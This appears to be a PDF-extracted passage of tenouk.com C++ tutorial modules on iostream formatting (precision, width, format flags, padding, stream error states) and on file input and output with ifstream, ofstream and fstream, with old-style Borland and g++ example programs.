- Used to control the number of digits to the right of the decimal point.
- Use setprecision() or precision().
- precision 0 restores to the default precision of 6 decimal points.

//using precision and setprecision


#include <stdlib.h>
#include <iostream.h>
#include <iomanip.h>
#include <math.h>

void main(void)
{
double theroot = sqrt(11.55);

cout<<"Square root of 11.55 with various"<<endl;


cout<<" precisions"<<endl;
cout<<"---------------------------------"<<endl;
cout<<"Using 'precision':"<<endl;

for(int poinplace=0; poinplace<=8; poinplace++)


{
cout.precision(poinplace);
cout<<theroot<<endl;
}
cout<<"\nUsing 'setprecision':"<<endl;

for(int poinplace=0; poinplace<=8; poinplace++)


cout<<setprecision(poinplace)<<theroot<<endl;
system("pause");
}

Output:

www.tenouk.com
18.4.3 Field Width

- Sets the field width and returns the previous width. If values processed are smaller than the field width,
fill characters are inserted as padding. Wider values will not be truncated.
- Use width() or setw(). For example:

cout.width(6); //field is 6 position wide

- Program example:

//using width member function


#include <iostream.h>
#include <stdlib.h>

void main(void)
{
int p = 6;
char string[20];

cout<<"Using field width with setw() or width()"<<endl;


cout<<"----------------------------------------"<<endl;
cout<<"Enter a line of text:"<<endl;
cin.width(7);
while (cin>>string)
{
cout.width(p++);
cout<<string<<endl;
cin.width(7);
//use ctrl-z followed by return key or ctrl-d to exit
}
system("pause");
}

Output:

www.tenouk.com
18.4.4 Stream Format States

- Format state flag specify the kinds of formatting needed during the stream operations.
- Available member functions used to control the flag setting are: setf(), unsetf() and flags().
- flags() function must specify a value representing the settings of all the flags.
- The one argument, setf() function specifies one or more ORed flags and ORs them with the existing
flag setting to form a new format state.
- The setiosflags() parameterized stream manipulator performs the same functions as the setf.
- The resetiosflags() stream manipulator performs the same functions as the unsetf() member
function. For parameterized stream manipulators you need iomanip.h header file.
- Format state flags are defined as an enumeration in class ios. The list for some of the flags is shown
below:

Format state flags Brief description


ios::skipws Use to skip whitespace on input.
ios::adjustfield Controlling the padding, left, right or internal.
ios::left Use left justification.
ios::right Use right justification.
ios::internal Left justify the sign, right justify the magnitude.
ios::basefield Setting the base of the numbers.
ios::dec Use base 10, decimal.
ios::oct Use base 8, octal.
ios::hex Use base 16, hexadecimal.
ios::showbase Show base indicator on output.
ios::showpoint Shows trailing decimal point and zeroes.
ios::uppercase Use uppercase for hexadecimal and scientific notation values.
ios::showpos Shows the + sign before positive numbers.
ios::floatfield To set the floating point to scientific notation or fixed format.
ios::scientific Use scientific notation.
ios::fixed Use fixed decimal point for floating-point numbers.
ios::unitbuf Flush all streams after insertion.
ios::stdio Flush stdout, stderr after insertion.

Table 18.6: State flag format

- skipws flags indicates that >> should skip whitespace on an input stream. The default behavior of >>
is to skip whitespace. To change this, use the unsetf(ios::skipws). ws stream manipulator also
can be used for this purpose.

18.4.5 Trailing Zeroes and Decimal Points

- ios::showpoint – this flag is set to force a floating point number to be output with its decimal
point and trailing zeroes. For example, floating point 88.0 will print 88 without showpoint set and
88.000000 (or many more 0s specified by current precision) with showpoint set.

www.tenouk.com
///Using showpoint
//controlling the trailing zeroes and floating points
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{
cout<<"Before using the ios::showpoint flag\n"
<<"------------------------------------"<<endl;
cout<<"cout prints 88.88000 as: "<<88.88000
<<"\ncout prints 88.80000 as: "<<88.80000
<<"\ncout prints 88.00000 as: "<<88.00000
<<"\n\nAfter using the ios::showpoint flag\n"
<<"-----------------------------------"<<endl;
cout.setf(ios::showpoint);
cout<<"cout prints 88.88000 as: "<<88.88000
<<"\ncout prints 88.80000 as: "<<88.80000
<<"\ncout prints 88.00000 as: "<<88.00000<<endl;
system("pause");
}

Output:

18.4.6 Justification

- Use for left, right or internal justification.


- ios::left – enables fields to be left-justified with padding characters to the right.
- ios::right – enables fields to be right-justified with padding characters to the left.
- The character to be used for padding is specified by the fill or setfill.
- internal – this flag indicates that a number’s sign (or base if ios::showbase flag is set) should
be left-justified within a field, the number’s magnitude should be right-justified and the intervening
spaces should be padded with the fill character.
- The left, right and internal flags are contained in static data member ios::adjustfield,
so ios::adjustfield argument must be provided as the second argument to setf when setting
the right, left or internal justification flags because left, right and internal are mutually exclusive.

//using setw(), setiosflags(), resetiosflags() manipulators


//and setf and unsetf member functions
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{
long p = 123456789L;
//L - literal data type qualifier for long...
//F - float, UL unsigned integer...
cout<<"The default for 10 fields is right justified:\n"
<<setw(10)<<p
<<"\n\nUsing member function\n"
<<"---------------------\n"

www.tenouk.com
<<"\nUsing setf() to set ios::left:\n"<<setw(10);
cout.setf(ios::left,ios::adjustfield);
cout<<p<<"\nUsing unsetf() to restore the default:\n";
cout.unsetf(ios::left);
cout<<setw(10)<<p
<<"\n\nUsing parameterized stream manipulators\n"
<<"---------------------------------------\n"
<<"\nUse setiosflags() to set the ios::left:\n"
<<setw(10)<<setiosflags(ios::left)<<p
<<"\nUsing resetiosflags() to restore the default:\n"
<<setw(10)<<resetiosflags(ios::left)
<<p<<endl;
system("pause");
}

Output:

- Another program example:

//using setw(), setiosflags(), showpos and internal


#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{
cout<<setiosflags(ios::internal | ios::showpos)
<<setw(12)<<12345<<endl;
system("pause");
}

Output:

18.4.7 Padding

- fill() – this member function specify the fill character to be used with adjusted field. If no value is
specified, spaces are used for padding. This function returns the prior padding character.
- setfill() – this manipulator also sets the padding character.

//using fill() member function and setfill() manipulator

www.tenouk.com
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{

long p = 30000;

cout<<p
<<" printed using the default pad character\n"
<<"for right and left justified and as hex\n"
<<"with internal justification.\n"
<<"--------------------------------------------\n";
cout.setf(ios::showbase);
cout<<setw(10)<<p<<endl;
cout.setf(ios::left,ios::adjustfield);
cout<<setw(10)<<p<<endl;
cout.setf(ios::internal,ios::adjustfield);
cout<<setw(10)<<hex<<p<<"\n\n";

cout<<"Using various padding character"<<endl;


cout<<"-------------------------------"<<endl;
cout.setf(ios::right,ios::adjustfield);
cout.fill('#');
cout<<setw(10)<<dec<<p<<'\n';
cout.setf(ios::left,ios::adjustfield);
cout<<setw(10)<<setfill('$')<<p<<'\n';
cout.setf(ios::internal,ios::adjustfield);
cout<<setw(10)<<setfill('*')<<hex<<p<<endl;
system("pause");
}

Output:

18.4.8 Another Stream Base

- ios::basefield – includes the hex, oct and dec bits to specify that integers are to be treated as
hexadecimal, octal and decimal values respectively.
- If none of these bits is set, stream insertions default to decimal. Integers starting with 0 are treated as
octal values, starting with 0x or 0X are treated as hexadecimal values and all other integers are treated
as decimal values. So, set the showbase if you want to force the base of values to be output.
- Program example:

//using ios::showbase
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{

www.tenouk.com
long p = 2000;

cout<<setiosflags(ios::showbase)
<<"Printing integers by their base:\n"
<<"--------------------------------\n"
<<"Decimal ---> "<<p<<'\n'
<<"Hexadecimal---> "<<hex<<p<<'\n'
<<"Octal ---> "<<oct<<p<<endl;
system("pause");
}

Output:

18.4.9 Scientific Notation

- ios::scientific and ios::fixed flags are contained in the static member


ios::floatfield (usage similar to ios::adjustfield and ios::basefield).
- These flags used to control the output format of floating point numbers.
- The scientific flag – is set to force the output of a floating point number to display a specific
number of digits to the right of the decimal point (specified by the precision member function).
- cout.setf(0, ios::floatfield) restores the system default format for the floating number
output.
- Program example:

//Displaying floating number in system


//default, scientific and fixed format

#include <iostream.h>
#include <stdlib.h>

void main(void)
{

double p = 0.000654321, q = 9.8765e3;

cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";

cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;

cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';

cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"
<<"----------------\n"
<<p<<'\t'<<q<<endl;

www.tenouk.com
system("pause");
}

Output:

18.4.10 Uppercase and Lowercase

- ios::uppercase – this flag is set to force an uppercase X or E to be output with hexadecimal


integers or scientific notation floating point values respectively.
- When this flag is set, all letters in a hexadecimal values output uppercase.

//Using ios::uppercase flag


#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{

long p = 12345678;

cout<<setiosflags(ios::uppercase)
<<"Uppercase letters in scientific\n"
<<"notation-exponents and hexadecimal values:\n"
<<"------------------------------------------\n"
<<5.7654e12<<'\n'
<<hex<<p<<endl;
system("pause");
}

Output:

- Another program example.

www.tenouk.com
//Demonstrating the flags() member function
//any format flags() not specified in the
//argument to flags() are reset.

#include <iostream.h>
#include <stdlib.h>

void main(void)
{

long p = 2000;
double q = 0.00124345;

//set a new format state


cout<<"The value of flags variable is: "
<<cout.flags()<<'\n'
<<"Print long int and double in original format:\n"
<<p<<'\t'<<q<<"\n\n";

long OriginalFormat = cout.flags(ios::oct | ios::scientific);


//save the previous format state
cout<<"The value of the flags variable is: "
<<cout.flags()<<'\n'
<<"Print long int and double in a new format\n"
<<"specified using the flags member function:\n"
<<p<<'\t'<<q<<"\n\n";

cout.flags(OriginalFormat);
//restore the original format setting
cout<<"The value of the flags variable is: "
<<cout.flags()<<'\n'
<<"Print values in original format again:\n"
<<p<<'\t'<<q<<endl;
system("pause");
}

Output:

18.4.11 Stream Error States

- eofbit(ios::eofbit) is set automatically for an input stream when end-of-file is encountered.


To determine if end-of-file has been encountered on a stream, eof() member function can be used.
For example:

cin.eof()

- Will returns true if end-of-file has been encountered on cin and false otherwise.
- failbit(ios::failbit) is set for a stream when a format error occurs on the stream, but
character has not been lost. fail() member function determines if a stream operation has failed,
normally recoverable.
- badbit(ios::badbit) – is set for a stream when an error occurs that results in the loss of data.
bad() member function determines if a stream operation has failed, normally no recoverable.

www.tenouk.com
- goodbit(ios::goodbit) – is set for a stream if none of the bits eofbit(), failbit() or
badbit() are set for the stream. good() member function returns true if the bad(), fail() and
eof() functions would return false.
- rdstate() member function returns the error state of the stream. For example

cout.rdstate()

- Would return the state of the stream which could then be tested.
- clear() member function is normally used to restore a streams state to good() so that I/O may
proceed on the stream.
- Program example:

//Using eof(), fail(), bad(), good(), clear()


//and rdstate()

#include <iostream.h>
#include <stdlib.h>

void main(void)
{

int p;

cout<<"Before a bad input operation: \n"


<<"-----------------------------\n"
<<" cin.rdstate(): "<<cin.rdstate()
<<"\n cin.eof(): "<<cin.eof()
<<"\n cin.fail(): "<<cin.fail()
<<"\n cin.bad(): "<<cin.bad()
<<"\n cin.good(): "<<cin.good()
<<"\n\nEnter a character (should be integer): "<<endl;
cin>>p;

cout<<"After a bad input operation: \n"


<<"----------------------------\n"
<<" cin.rdstate(): "<<cin.rdstate()
<<"\n cin.eof(): "<<cin.eof()
<<"\n cin.fail(): "<<cin.fail()
<<"\n cin.bad(): "<<cin.bad()
<<"\n cin.good(): "<<cin.good()<<"\n\n";
cin.clear();
cout<<"After cin.clear()\n"
<<"-----------------\n"
<<"cin.fail(): "<<cin.fail()<<endl;
system("pause");
}

Output:

www.tenouk.com
- Program example compiled using VC++/VC++ .Net.

//Displaying floating number in system


//default, scientific and fixed format

#include <iostream>
using namespace std;

void main(void)
{
double p = 0.000654321, q = 9.8765e3;

cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";

cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;

cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';

www.tenouk.com
cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"
<<"----------------\n"
<<p<<'\t'<<q<<endl;
}

Output:

- For C formatted I/O, please refer to Module 5.


- Previous program example compiled using g++.

/////-padding.cpp-/////
//using fill() member function and setfill() manipulator
#include <iostream>
#include <iomanip>
using namespace std;

int main(void)
{

long p = 30000;

cout<<p <<" printed using the default character pad\n"


<<"for right and left justified and as hex\n"
<<"with internal justification.\n"
<<"----------------------------------------\n";
cout.setf(ios::showbase);
cout<<setw(10)<<p<<endl;
cout.setf(ios::left, ios::adjustfield);
cout<<setw(10)<<p<<endl;
cout.setf(ios::internal, ios::adjustfield);
cout<<setw(10)<<hex<<p<<"\n\n";

cout<<"Using character padding"<<endl;


cout<<"-----------------------"<<endl;
cout.setf(ios::right, ios::adjustfield);
cout.fill('#');
cout<<setw(10)<<dec<<p<<'\n';
cout.setf(ios::left, ios::adjustfield);
cout<<setw(10)<<setfill('$')<<p<<'\n';
cout.setf(ios::internal, ios::adjustfield);
cout<<setw(10)<<setfill('*')<<hex<<p<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ padding.cpp -o padding

www.tenouk.com
[bodo@bakawali ~]$ ./padding

30000 printed using the default character pad


for right and left justified and as hex
with internal justification.
----------------------------------------
30000
30000
0x 7530

Using character padding


-----------------------
#####30000
30000$$$$$
0x****7530

-----------------------------------------------o0o-----------------------------------------------

Further reading and digging:

1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.

www.tenouk.com
MODULE 19
C++ FILE I/O
---------------------------------------------
MODULE 9
C FILE INPUT OUTPUT

My Training Period: hours

Note: The examples in this Module were compiled and run using Win32 empty console application without .def
(definition) and .rc (resource) files (Borland®). All program examples have been tested using Borland C++ 5.xx
ONLY. It should be OK if you use Win32 empty console application as a target for other compilers because
header files used are from C++ Standard Library. For Linux/Unices, you have to concern about the path or directory
access because of the different file system. You may need some code modification and been left for your
assignments :o).
You may consider reading Section 23.3, Module 23 first, for using traditional, fully complied C++ or mixing the C
and C++ codes.

Abilities

▪ Understand and use the ifstream, ofstream and fstream class objects.
▪ Understand and use a sequential access file – Read and Write member functions.
▪ Understand and use a random access file – Read and Write member functions.
▪ Be familiar with other file I/O member functions.

19.1 Introduction

- The idea about the stream has been explained extensively in Module 9 (C file I/O) and C++ formatted
I/O also has been explained in Module 18.
- A file just a collection of related data that treated by C++ as a series of bytes.
- By the way, streams move in one way and in serial fashion from receiver and sender.
- Other than files on disk, devices such as magnetic tapes, primary or secondary storage devices, printers
and networks that carrying data are also treated as files.
- File I/O is one of the interesting topics in C/C++ because of the wide applications. We need to write to
disk when we do software installation, writing windows registry, read, write, delete, update file
contents, sending and receiving data through networks (sockets) etc.
- The include files needed in order to use the disk file I/O class objects are: iostream.h and
fstream.h. iostream.h contains standard input output objects such as cin, cout, cerr and
clog (refer to Module 18).
- Keep in mind that new header files which are fully C++ standard compliance that using template based
header files (ISO/IEC C++) don’t have the .h anymore. You can read the story HERE.
- Furthermore same as in C File I/O (Module 9), all the program examples don’t consider the file access
permissions. Normally, file access permissions are combined with the user permissions and rights as
security features of the Operating Systems. They are implementation dependant and the discussion can
be found starting from HERE or Tutorial #2.
- For C++, all file objects belong to the one of the following classes:

Class Brief description


Objects belong to this class are associated with files opened for input
ifstream
purposes.
Objects belong to this class are associated with files opened for output
ofstream
purposes.
Objects belong to this class are associated with files opened for input and
fstream
output purposes.

Table 19.1: File input/output classes.

- These classes are defined in fstream.h header file.


- Data files are attached with files objects using the open() member function of the file object.
- The open() prototype is:

void open(const char *name, int mode, int access);

- Where:

www.tenouk.com
▪ name is the filename.
▪ Open file modes (flags) are used to indicate what to do to the file (e.g. open, close) and the data
(e.g. read, write). The flags can be logically ORed. Mode must be one of the following:

Mode Description
ios::app Append data to the end of the output file.
ios::ate Go to the end of the file when open.
ios::in Open for input, with open() member function of the
ifstream variable.
ios::out Open for output, with open() member function of the
ofstream variable.
ios::binary Binary file, if not present, the file is opened as an ASCII
file as default.
ios::trunc Discard contents of existing file when opening for write.
ios::nocreate
Fail if the file does not exist. For output file only, opening
an input file always fails if there is no fail.
ios::noreplace Do not overwrite existing file. If a file exists, cause the
opening file to fail.

Table 19.2: File open modes

▪ File protection access determines how the file can be accessed. It is Operating System
dependent and there are others attributes that are implementation extensions. For DOS® example,
it must be one of the following:

Attributes Description
0 Normal file or Archive
1 Read-only file
2 Hidden file
4 System file

Table 19.3: File types

- To declare the input file stream i.e. for reading we would declare like this:

ifstream theinputfile;

- To declare the output file stream i.e. for writing we would declare like this:

ofstream theoutputfile;

- Then, to connect to a stream, let say opening file testfileio.dat for reading, the file which
located in the same folder as the executable program we would write like this:

theinputfile.open("testfileio.dat ");

- Or with the path we could write:

theinputfile.open("c:\\testfileio.dat ");

- Next, opening a file for reading and binary type modes, we could write:

theinputfile.open("testfileio.dat ", ios::in|ios::binary);

- Another example, opening a file for reading, with normal type access and go to the end of the file, we
could write like this:

theinputfile.open("testfileio.dat ", ios::in|ios::ate, 0);

www.tenouk.com
- For writing, to connect to a stream, let say opening file testfileio.dat for writing, the file which
located in the same folder as the running program. Previous content of the testfileio.dat will be
overwritten, we could write like this:

theoutputfile.open("testfileio.dat");

- Or with the path:

theoutputfile.open("c:\\testfileio.dat ");

- Then, opening a file for writing and appending at the end of the file modes, we could write like this:

theoutputfile.open("testfileio.dat", ios::out|ios::app);

- Or opening for writing, check the existing of the file with normal access modes, we could write like
this:

theoutputfile.open("testfileio.dat", ios::out|ios::nocreate, 0);

- After we have completed the file processing, we have to close or disconnect the stream to free up the
resources to be used by other processes or programs. Using the close() member function, for input
stream we would write like this:

theinputfile.close();

- And for output stream:

theoutputfile.close();

- During the opening for reading or writing, we should provide error handling routines to make sure
the file operations have completed successfully otherwise some error message should be displayed or
error handling routines been executed.
- For example we can use fail() member function:

#include <iostream.h>
#include <fstream.h>
#include <stdlib.h> //for exit()

void main(void)
{

ifstream inputfile;

inputfile.open("testfileio.dat");

if(inputfile.fail())
{
cout<<"The file could not be opened!\n";
exit(1); // 0 – normal exit, non zero – some error
}

- Or bad() with cerr.

if(inputfile.bad())
{
cerr<<"Unable to open testfileio.dat\n";
exit(1); // 0 – normal exit, non zero – some error
}

- The following examples created for Win32 empty console application without .def (definition)
and .rc (resource) files. All examples in this Module have been tested using Borland 5.xx ONLY.
- At the end of this Module, there are program examples compiled with VC++/VC++ .Net and g++ for
Linux.

www.tenouk.com
- Keep in mind that in Microsoft Windows operating system environment there are another layer of
security for accessing Windows objects. The documentation of the Windows security features can be
found in Win32 SDK documentation. This Module will only discuss file input/output in general from
C++ programming perspective.
- Firstly, create a file named sampleread.txt at root on C: drive (or other location provided you
explicitly state the full path in the program). Write some text as shown below in sampleread.txt
file and save it.

This is file sampleread.txt. This file will be opened for reading


then its content will be written to another file and standard output
i.e screen/console...after you have executed this C++ program,
without error....this text should be output on your screen as well as
written to the samplewrite.txt file. Don't forget to check the
content of the samplewrite.txt.

sampleread.txt file content

//Reading from available file content


//then writing the content to another
//file. Firstly, create file for reading (can include path)
//let says "C:\sampleread.txt", at root on C drive.
//Type some text as shown…
//Then executes this program.

#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

//function definition, to open file for reading...


void openinfile(ifstream &infile)
{
char filename[100];
cout<<"Enter the file name: ";
//Enter the filename that you have created
//(can include path). From the comment above
//you have to enter "C:\sampleread.txt"
//without the double quotes.

cin>>filename;
infile.open(filename);
}

void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;

char chs;

//function call for opening file for reading...


openinfile(inputfile);
//create, if not exist and open it for writing
outputfile.open("C:\\samplewrite.txt");

//test until the end of file


while (!inputfile.eof())
{
//read character until end of file
inputfile.get(chs);
if (!inputfile.eof())
{
//output character by character (byte) on screen, standard output
cout<<chs;
//write to output file, samplewrite.txt
outputfile<<chs;
}
}
cout<<"\nReading and writing file is completed!"<<endl;
system("pause");
//close the input file stream
inputfile.close();
//close the output file stream
outputfile.close();
}

www.tenouk.com
Output:

- In this program we do not provide error handlings, the existing file to be opened is not verified.
- Another example using getline() member function. Firstly create text file, named
readfile.txt, put it on drive C: of the Windows platform, then type the following sample text and
save it.

This is readfile.txt. Just sample text, opening


for reading by using getline() member function.
There are four lines of text to be read from.
This is just plain simple reading text from a file.

//using getline() member function


#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[50];
ifstream inputfile;
char FirstLine[50];
char SecondLine[50];
char ThirdLine[50];

//prompt user for file name to be opened...


cout<<"Enter the filename to be opened: ";
cin>>filename;

//test open file for reading...


inputfile.open(filename);
//if not the end of file, do...
if(!inputfile.eof())
{
cout<<"\nThe first line of text is: \n";
inputfile.getline(FirstLine, 50);
cout<<FirstLine<<'\n';
cout<<"The second line of text is: \n";
inputfile.getline(SecondLine, 50);
cout<<SecondLine<<endl;
cout<<"The third line of text is: \n";
inputfile.getline(ThirdLine, 50);
cout<<ThirdLine<<endl;
}
system("pause");
}

Output:

www.tenouk.com
- Another program example with a simple exception handling.

//Simple file ‘exception handling’ when


//opening file for reading.
//There is no testfileio.txt at the root of
//drive C at the beginning.

#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio.txt";
ifstream inputfile;

inputfile.open(filename, ios::in);
//test if fail to open fail for reading, do…
if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"---------------------------------------\n";
cout<<"The "<<filename<<" file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful opening file for reading, do…
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";
cout<<"\nDo some file processing here...\n";
}
inputfile.close();

//test if fail to close the file, do…


if(inputfile.fail())
{
cout<<"\nThe file "<<filename<<" could not be closed!\n";
system("pause");
exit(1);
}
//else, do…
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}

Output:

www.tenouk.com
- Then, create file named testfileio.txt on drive C. Re-run the program, the following should be
output.

- Same routine can be use for file output ofstream, by replacing the ifstream objects.
- The following example shows you how to prompt user for the file name.

//Prompting user for filename


//to be opened….others should be
//same as the previous example.
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[100];
ifstream inputfile;

//Prompting user for filename to be opened…


//including the full path if necessary…
//e.g. c:\testfileio.txt, c:\Windows\Temp\testfile.txt etc
cout<<"Enter the file name to be opened: ";

//store at an array filename...


//Array without [] is a pointer to the
//first array’s element...
cin>>filename;

//opened the file for input...


inputfile.open(filename, ios::in);

//test if fail to open file for reading, do…


if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"---------------------------------------\n";
cout<<"The "<<filename<<" file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful opening file for reading, do…
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";
cout<<"\nDo some file processing here...\n";
}
//close file for input…
inputfile.close();
//test if fail to close the file, do…

www.tenouk.com
if(inputfile.fail())
{
cout<<"\nThe file "<<filename<<" could not be closed!\n";
system("pause");
exit(1);
}
//else, do…
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}
//tested using the win32 console mode........
//provided the file testfileio.txt exists on the C: drive…

Output:

19.2 Sequential File Processing

- Reading data and do some calculation, then display the data. Firstly, create a file named
testfileio1.txt on drive C. Key in some data in this test file as shown below and save the file.

100.23 56.33 67.12 89.10 55.45


23.12 56.11 43.24 65.32 45.00

- Create and run the following program.

//Simple processing data from external file.


//Read the data in sequential mode, do some
//calculation and display to the standard output.
//Create file testfileio1.txt on drive C, and
//type some data as shown
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio1.txt";
ifstream inputfile;

//-------opening input file for reading--------


inputfile.open(filename, ios::in);
//test if fail to open the file, do…
//error handling for file opening
if(inputfile.fail())
{
cout<<"Opening file "<<filename<<" for reading\n";
cout<<"------------------------------------------\n";
cout<<"The file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful, do the following...
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";

//declare some variables for simple calculation


float price, total = 0;

www.tenouk.com
int count = 0;

cout<<"Reading data and do some calculation\n\n";


//read data from input stream...
inputfile>>price;

//test, if end of file not found, do the following...


while(!inputfile.eof())
{
//total = total + price
total += price;
count++;
cout<<"Item price # "<<count<<" is "<<price<<endl;
//re read the next item price within the loop
inputfile>>price;
}
cout<<"The total price for "<<count<<" items is: "<<total<<endl;
cout<<"\n-------DONE-------\n"<<endl;
//close the input file
inputfile.close();

//test closing file, if fail to close the file, do...


//error handling for file closing
if(inputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
//something wrong, just exit...
exit(1);
}

//if successful closes the file, do....


else
cout<<"The "<<filename<<" file was closed successfully!\n";
system("pause");
}
}

Output:

- Now let try using the ostream class object. This will create and open a file for writing. The file will
be created if it does not exist yet.

//Simple processing data from external file.


//Creating, opening and writing some data in file
//and appending data at the end of file...
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio2.txt";
ofstream outputfile;

www.tenouk.com
//----creating, opening and writing/appending data to file-----
outputfile.open(filename, ios::out|ios::app);
//simple error handling for file creating/opening for writing
//test if fail to open the file, do…
if(outputfile.fail())
{
cout<<"Creating and opening file "<<filename<<" for writing\n";
cout<<"------------------------------------------\n";
cout<<"The "<<filename<<" file could not be created/opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//else, if the file can be opened, do…
else
{
cout<<"The "<<filename<<" file was created and opened successfully!\n";
cout<<"\nDo some file writing....\n\n";

outputfile<<"Writing some data in this file\n";


outputfile<<"------------------------------\n";
cout<<"Check the "<<filename<<" file contents :-)"<<endl;
cout<<"If the file already have had data, the new data will be appended\n";

int sampledata;
//write some integers to the file...
for(sampledata=0; sampledata<=10; sampledata++)
outputfile<<sampledata<<" ";
outputfile<<endl;
//close the output file
outputfile.close();
//test if fail to close the file, do the following...
//simple error handling for output files closing
if(outputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
exit(1);
}
//test if successful to close the file, do the following...
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}
}

Output:

- The content of the testfileio2.txt is as follows:

Writing some data in this file


------------------------------
0 1 2 3 4 5 6 7 8 9 10

- When you re run this program second times, the data will be appended at the end of the pervious data.

Writing some data in this file


------------------------------

www.tenouk.com
0 1 2 3 4 5 6 7 8 9 10
Writing some data in this file
------------------------------
0 1 2 3 4 5 6 7 8 9 10

19.3 Random File Processing

- We can set position of the get pointer by using seekg(). The prototype are:

istream& seekg(streampos pos);


istream& seekg(streamoff off, ios_base::seekdir dir);

- These commands will set the position of the get pointer. The get pointer determines the next location
to be read in the buffer associated to the input stream. The parameters:

seekg() parameter Brief description


pos The new position in the stream buffer of type streampos object.
Value of type streamoff indicating the offset in the stream's buffer. It is
off
relative to dir parameter.
Seeking direction. An object of type seekdir that may take any of the
following values:
ƒ ios_base::beg (seek from the beginning of the stream's buffer).
dir
ƒ ios_base::cur (seek from the current position in the stream's
buffer).
ƒ ios_base::end (seek from the end of the stream's buffer).

Table 19.4: seekg() parameter.

- Try the following seekg() member function example:

//using seekg()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio3.txt";
fstream inputfile, outputfile;

//--------create, open and write data to file--------


outputfile.open(filename, ios::out);
//----write some text-------
outputfile<<"This is just line of text."<<endl;
//--------close the output file------------
outputfile.close();

//----opening and reading data from file-----


inputfile.open(filename, ios::in);
//simple error handling for files creating/opening for writing
if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"------------------------------------------\n";
cerr<<"The file "<<filename<<" could not be created/opened!\n";
cerr<<"Possible errors:\n";
cerr<<"1. The file does not exist.\n";
cerr<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
else
{

cout<<"The "<<filename<<" file was opened successfully!\n";


cout<<"\nMove the pointer to the end\n"
<<"Then back to the beginning with\n"
<<"10 offset. The pointer now at...\n"<<endl;
//flush the stream buffer explicitly...
cout<<flush;

www.tenouk.com
//get length of file
int length;
char * buffer;

//move the get pointer to the end of the stream


inputfile.seekg(0, ios::end);
//The tellg() member function returns
//the current stream position.
//there is 27 characters including white space
length = inputfile.tellg();
//move back the pointer to the beginning with
//offset of 10
inputfile.seekg(10, ios::beg);

//dynamically allocate some memory storage


//for type char...
buffer = new char [length];

//read data as block from input file...


inputfile.read(buffer, length);
cout<<buffer<<endl;
//free up the allocated memory storage...
delete[] buffer;
//close the input file
inputfile.close();
//simple error handling for output files closing
//test if fail to close the file, do...
if(inputfile.fail())
{
cerr<<"The "<<filename<<" file could not be closed!\n";
system("pause");
exit(1);
}
//test if successful to close the file, do...
else
cout<<"\nThe file "<<filename<<" was closed successfully!\n";
system("pause");
}
}

Output:

- We can set position of the put pointer by using seekp(). The prototype are:

ostream& seekp(streampos pos);


ostream& seekp(streamoff off, ios_base::seekdir dir);

- These will set the position of the put pointer. The put pointer determines the next location where to
write in the buffer associated to the output stream. The parameters:

seekp()
Brief description
parameter
pos The new position in the stream buffer of type streampos object.
